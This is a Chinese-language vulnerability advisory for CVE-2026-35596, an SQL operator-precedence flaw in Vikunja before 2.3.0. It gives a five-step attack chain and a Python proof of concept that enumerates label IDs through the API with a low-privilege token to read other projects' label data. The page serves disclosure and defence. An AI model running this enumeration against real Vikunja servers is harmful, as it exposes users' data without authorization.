IPBUF安全漏洞报告
English
CVE-2026-35596 CVSS 4.3 中危

CVE-2026-35596 Vikunja SQL逻辑漏洞致信息泄露

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35596
漏洞类型
SQL逻辑漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

SQL逻辑漏洞信息泄露权限绕过VikunjaCVE-2026-35596

漏洞概述

Vikunja是一款开源自托管任务管理平台。在2.3.0版本之前,其`hasAccessToLabel`函数存在SQL运算符优先级错误,导致权限验证逻辑失效。任何经过身份验证的用户均可读取与其任务关联的任意标签信息,无论其是否有权访问标签所属项目。泄露的数据包括标签标题、描述、颜色及创建者信息。该问题已在2.3.0版本中修复。

技术细节

该漏洞的根源在于Vikunja后端(Go语言)用于检查标签访问权限的SQL查询逻辑缺陷。具体而言,在构建`hasAccessToLabel`函数的查询条件时,未能正确处理`AND`与`OR`运算符的优先级。在SQL逻辑中,若代码未使用括号明确指定逻辑分组,原本意图的“必须同时满足项目权限和标签关联”可能会被解析为“满足项目权限 OR 标签关联”。攻击者只需拥有对某个任务的访问权限(即使该任务关联了其他私有项目的标签),即可绕过项目级别的访问控制。攻击者可以通过遍历标签ID并发起请求,利用此逻辑漏洞获取敏感数据。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或使用一个普通低权限账号登录Vikunja系统,获取有效的API Token或Session。
STEP 2
2. 目标识别
攻击者通过观察或猜测,确定系统中可能存在的标签ID(Label ID)。
STEP 3
3. 发起请求
攻击者构造针对特定标签ID的API读取请求(如 GET /api/v1/labels/{id}),并在Header中携带认证信息。
STEP 4
4. 权限绕过
后端服务处理请求时,执行存在缺陷的`hasAccessToLabel`逻辑。由于SQL运算符优先级错误,系统错误地判定当前用户有权访问该标签。
STEP 5
5. 信息泄露
服务器返回标签的详细信息(标题、描述、颜色等),攻击者成功获取本无权访问的数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-35596 # Description: PoC to demonstrate information disclosure via SQL operator precedence. # Requires: Valid authentication token (low-privilege user). target_url = "http://localhost:3456/api/v1/labels" auth_token = "YOUR_LOW_PRIVILEGE_TOKEN_HERE" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Enumerate potential label IDs. # In a real scenario, an attacker might guess IDs or use a specific endpoint to list them if available. # The vulnerability allows reading details of labels associated with tasks visible to the user, # even if the user does not have access to the project the label belongs to. for label_id in range(1, 100): response = requests.get(f"{target_url}/{label_id}", headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Label ID {label_id} accessed:") print(f" Title: {data.get('title')}") print(f" Description: {data.get('description')}") print(f" Created By: {data.get('created_by').get('username')}") elif response.status_code == 404: continue else: print(f"[-] Error accessing ID {label_id}: {response.status_code}")

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
建议管理员立即检查Vikunja版本,并尽快应用官方补丁升级到2.3.0。在升级前,应限制非必要用户对API的访问权限,或通过网络防火墙严格限制访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表